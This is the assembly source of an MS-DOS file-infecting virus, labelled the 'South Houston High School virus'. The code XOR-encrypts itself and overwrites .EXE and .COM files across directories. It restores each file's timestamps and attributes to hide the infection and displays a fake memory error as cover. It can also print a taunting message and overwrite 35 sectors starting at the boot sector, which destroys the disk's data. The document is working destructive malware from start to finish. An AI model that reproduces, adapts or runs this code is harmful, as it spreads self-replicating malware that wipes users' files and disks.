; Source code to South Houston High School virus ; codeseg segment assume cs:codeseg, ds:codeseg org 100h cr equ 13 lf equ 10 tab equ 9 start: call encrypt_decrypt jmp random_mutation encrypt_val db 0 infect_file: mov bx,handle ; (648C:01F2=0) push bx ; Save handle call encrypt_decrypt ; encrypt code pop bx ; Restore handle mov cx,offset eof-offset start ; Length of code mov dx,offset start ; Start of code mov ah,40h ; Write to handle BX int 21h ; DOS Services ah=function 40h ; write file cx=bytes, to ds:dx call encrypt_decrypt ; decrypt code mov al,encrypt_val ; AL= code # add al,13 ; add 13 adc al,0 ; plus carry mov encrypt_val,al ; save new value ret ; Return encrypt_decrypt: mov bx,offset encrypted ; offset of encrypted ; code in memory mov al,encrypt_val ; encryption value or al,al ; 0 ? jz skipcryptor ; Don't waste time xor_loop: xor byte ptr [bx],al ; modify byte inc bx ; next byte, please add al,bh ; adjust encryption key cmp bx,offset eof ; are we done yet? jle xor_loop ; Nope, keep goin' skipcryptor: ret ; Yep, bye bye! ; The code from here on is encrypted until run-time (except in the case of a ; first-run copy). encrypted: exe_filespec db '*.EXE',0 com_filespec db '*.COM',0 newdir db '..',0 fake_msg db 'Program too big to fit in memory',cr,lf,'$' virus_msg db cr,lf,tab,'I',39,'m sorry, Dave... but ' db 'I',39,'m afraid I can',39,'t do that!',cr,lf,cr,lf db cr,lf,tab,'Dedicated to the dudes at SHHS' db cr,lf,tab,'The BOOT SECTOR Infector ...',cr,lf,'$' random_mutation: mov si,offset fname ; point to fname mov di,offset tfname ; point to tfname mov cx,13 ; 13 chars rep movsb ; copy the string cmp byte ptr encrypt_val,0 ; encryption value je install_val ; Jump if equal mov ah,2Ch ; Get time int 21h ; Call DOS to ^ cmp dh,55 ; more than 55 seconds? jg find_extension ; Yes: don't mutate install_val: or dl,dl ; DL = 0 ? jnz skipmutation ; No need to mutate skipmutation: mov encrypt_val,dl ; save code number find_extension: mov byte ptr files_found,0 ; Haven't found any yet mov byte ptr files_infected,3 ; No more than 3 files mov byte ptr success,0 ; No successful tries find_exe: mov cx,27h ; attr: R/O,HID,SYS,ARC mov dx,offset exe_filespec ; point to '*.EXE',0 mov ah,4Eh ; Find first int 21h ; DOS Services jc find_com ; No more? Find EXE call find_healthy ; Find a healthy file find_com: mov cx,27h ; attr: R/O,HID,SYS,ARC mov dx,offset com_filespec ; point to '*.COM',0 mov ah,4Eh ; Find first match int 21h ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx jc chdir ; No more? CD .. call find_healthy ; Start over chdir: mov dx,offset newdir ; point to '..',0 mov ah,3Bh ; CHDIR .. int 21h ; DOS Services jnc find_exe ; Look for EXEs jmp exit_virus ; find_healthy: mov bx,80h ; points at DTA mov ax,[bx+15h] ; original attribute mov orig_attr,ax ; ^ mov ax,[bx+16h] ; original time stamp mov orig_time,ax ; ^ mov ax,[bx+18h] ; original date stamp mov orig_date,ax ; ^ mov dx,9Eh ; filename xor cx,cx ; zero out attributes mov ax,4301h ; set attribute int 21h ; DOS Services mov ax,3D02h ; Open file read&write int 21h ; DOS Services mov handle,ax ; save file handle mov bx,ax ; place ^ in BX mov cx,20 ; read in 20 chars mov dx,offset compare_buff ; Points to buffer mov ah,3Fh ; Read file int 21h ; DOS Services mov bx,offset compare_buff ; Points to buffer mov ah,encrypt_val ; Encryption value mov [bx+offset encrypt_val-100h],ah ; Fill in the blank mov si,100h ; Point to code's start mov di,offset compare_buff ; Point to buffer repe cmpsb ; Compare buff to code jne healthy ; Didn't match, jump... call close_file ; Close the file inc byte ptr files_found ; Found one! continue_search: mov ah,4Fh ; Find next int 21h ; DOS Services jnc find_healthy ; Find more no_more_found: ret ; RETurn healthy: mov bx,handle ; (648C:01F2=0) mov ah,3Eh ; Close file int 21h ; DOS Services mov ax,3D02h ; Open file read&write mov dx,9Eh ; Filename is .... int 21h ; DOS Services mov si,dx ; Point to filename mov di,offset fname ; Point to fname mov cx,13 ; Copy 13 chars rep movsb ; Copy filename mov handle,ax ; save handle call infect_file ; infect file call close_file ; close file inc byte ptr success ; Success!!! dec byte ptr files_infected ; We got one! jz exit_virus ; Jump if zero jmp short continue_search ; Continue the search close_file: mov bx,handle ; get handle mov cx,orig_time ; get original time mov dx,orig_date ; get original date mov ax,5701h ; set date/time stamp int 21h ; DOS Services mov ah,3Eh ; close file int 21h ; DOS Services mov cx,orig_attr ; get original attrib mov ax,4301h ; get/set attribute mov dx,9Eh ; point to filename int 21h ; DOS Services ret ; RETurn exit_virus: cmp byte ptr files_found,8 ; Found at least 8? jl print_fake ; No, keep low profile cmp byte ptr success,0 ; Got anything? jg print_fake ; Yep, cover it up mov ah,9 ; Print string mov dx,offset virus_msg ; Point to virus msg int 21h ; DOS Services mov ah,19h ; Get current disk int 21h ; Call DOS to ^ mov si,offset tfname ; Point to tfname mov di,offset fname ; Point to fname mov cx,13 ; Copy 13 chars rep movsb ; Copy filename mov bx,offset kbstr ; BX points to message xor dx,dx ; Start at boot sector mov cx,35 ; 35 sectors int 26h ; Absolute disk write, drive al jmp short terminate ; End of the line! print_fake: mov ah,9 ; Print string mov dx,offset fake_msg ; DX points to fake msg int 21h ; DOS Services terminate: mov ax,305h ; Set typematic rate mov bx,31Fh ; Long delay, fast reps int 16h ; Keyboard i/o call ^^ int 20h ; Terminate process kbstr: db 'Killed by: ' ;Killed by fname: db '1st run copy',0 ;13 spaces for filename ekbstr: db '$' ;Terminator for string eof: ;These variables are for temporary use only and are therefore excluded from ;encryption and writing to the disk (this saves time and space). compare_buff db 20 dup (?) files_found db ? files_infected db ? orig_time dw ? orig_date dw ? orig_attr dw ? handle dw ? success db ? tfname: db 13 dup (?) codeseg ends end start